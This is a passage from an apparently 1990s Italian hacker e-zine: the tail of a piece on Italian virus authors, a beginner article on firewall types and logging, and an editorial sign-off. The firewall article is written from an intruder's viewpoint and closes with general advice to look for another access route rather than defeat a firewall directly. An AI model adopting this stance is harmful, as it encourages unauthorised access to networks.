per ovvie ragioni. Uno e' diventato famoso (il suo handle e' Dr.Revenge) per i suoi contribuiti a Insane Reality, un giornale H/P/V inglese che pubblico' alcuni numeri segreti del Regno Unito (UK). Inoltre, per chi non lo sapesse, il virus Invisible Man e' stato creato da qualche oscuro studente di informatica dell'Universita' di Fisciano (Sa). Degno di nota e' anche la creazione nel Belpaese di un virus chiamato Como che non danneggia il sistema, almeno secondo i suoi creatori, ma e' stato creato solo per studiarne la velocita' di diffusione su scala mondiale. Chi avesse intenzione di contattarmi puo farlo a: Jester@cryogen.com Firewall: concetti base (Parte I) ( by Ramlin ) Per Firewall si intende un sistema o un gruppo di sistemi il cui scopo e' quello di filtrare il traffico tra due reti differenti, cioe' implementare una politica di controllo degli accessi. I Firewall sono ormai molto diffusi nelle grandi corporation e nei vari centri di ricerca, soprattutto quelli di tipo governativo...dovunque ci sia qualcosa di riservato state sicuri di trovare un firewall..:-)). E' pratica molto comune utilizzare i Firewall come "vetrine" in cui mettere materiale che debba essere reso pubblico (basti pensare alle varie patch e upgrade resi disponibili dalle varie corporation): il lato "positivo" di questa pratica e' data dal fatto che tutti i vari ospiti del sistema rimangono fuori dalla rete interna vera e propria, visto che il Firewall crea una sorta di compartimento a tenuta stagna con il mondo esterno. Un Firewall puo' essere configurato diversamente a seconda delle esigenze di sicurezza a cui deve fare capo: alcuni Firewall lasciano passare in entrambi i sensi solo messaggi di posta elettronica, altri, piu' sofisticati bloccano il traffico proveniente dall'esterno ma non pongono nessuna limitazione a quello proveniente dall'interno. Questi simpatici gingilli sono utili anche nel caso in cui il sistema e' attaccato via modem; in questo caso il Firewall puo' ricoprire il ruolo di investigatore, nel senso che se opportunatamete configuato puo' implementare delle funzioni di logging (e fin qui nulla di speciale) e soprattutto delle funzioni di tracciamento della chiamata, cosa abbastanza improbabile nel caso di un Firewall made in Italy ma MOLTO piu' probabile nel caso di uno made in USA, in quanto il sistema telefonico USA permette agevolmente di sapere il numero del chiamante (tramite la funzione CALLER ID); in Italia questo e' possibile solo nel caso di linee ISDN e sistemi GSM (anche se non in maniera uniforme, ma qui svicoliamo in un altro argomento..). Un altro aspetto da tenere in considerazione riguarda il livello di sicurezza globale della rete "target": e' inutile acquistare un Firewall costosissimo e poi ignorare tutte le altre possibile back-doors della rete;un Firewall dovrebbe rispecchiare il livello globale della rete. Questa banale regola nella maggior parte dei casi fortunatamente non viene presa in considerazione...:-9 Se poi esistono particolari esigenze di riservatezza e sicurezza la prima regola da seguire dovrebbe essere questa: NON collegarsi in Rete!!:) Sembra banale ma e' l'unico modo per garantire una sicurezza prossima al 100%..se poi uno accede alla rete fisicamente...beh..chiamate un fabbro e fate mettere un paio di serrature in piu'..8-)) Fondamentalmente esistono due tipi di Firewall: * Network Level * Application Level Le differenze tra i due sono molto meno marcate di quanto si potrebbe pensare, ed anche in termini di giudizio non e' possibile affermare in senso assoluto "quel tipo e' meglio di quell'altro"..tutto dipende dalle necessita' di sicurezza della rete. Un Firewall di tipo Network Level prende le sue decisioni basandosi sull'indirizzo sorgente, quello di destinazione e la porta di un singolo pacchetto IP, per il resto si comporta come un router normale. Generalmente i Firewall di questa categoria risultano molto veloci trasparenti all'utente. I Firewall di tipo Application Level invece, sono macchine in cui viene fatto girare un Proxy server, la cui caratteristica piu' evidente e' data dal fatto di non permettere il passaggio di dati **direttamente** tra le due reti, ma al contrario premette a questa operazione una serie di sofisticati controlli di tracciamento e di logging dei pacchetti. Inizialmente questi Firewall erano abbastanza pensantucci dal lato client, ma ora la situazione sta cambiando. Concludendo la caratteristica piu' importante di questa tipologia di Firewall e' la possibilita' di avere dei dettagliati report su tutto il traffico transitato attraverso esso. Concludo questa prima parte con una osservazione di carattere pratico apparentemente banale;un Firewall puo' essere un ottimo aiuto ai Sysadmin per garantire l'integrita' degli accessi alla propria rete, ma non bisogna dimenticarsi una cosa: "lui" mette il naso e controlla tutto quello che gli passa attraverso..ma SOLO quello..nel caso in cui per qualche fortuito motivo dovesse esserci un'altra via di accesso, il suo compito decade immediatamente, quindi prima di provare a fare fesso un Firewall conviene cercare in maniera quanto piu' approfondita possibile un'altra via di accesso. SeE Ya!!:) Conclusioni ( by InfectedMachine ) Giunti alla fine di questa rivista vorrei chiedere a tutti quelli che la stanno leggendo di spendere qualche attimo per spedirci una mail con i propri commenti, suggerimenti, consigli e critiche in modo da capire se cio' che abbiamo fatto e' stato utile almeno a qualcuno e se vale la pena di continuare questo lavoro. Se avete qualche persona a cui volete dare questo testo lo potete fare tranquillamente ( e, anzi, ne saremmo molto felici :)) ) senza pero' alterarne il contenuto. Per qualsiasi tipo di informazione potete scrivere a: InfectedMachine@cryogen.com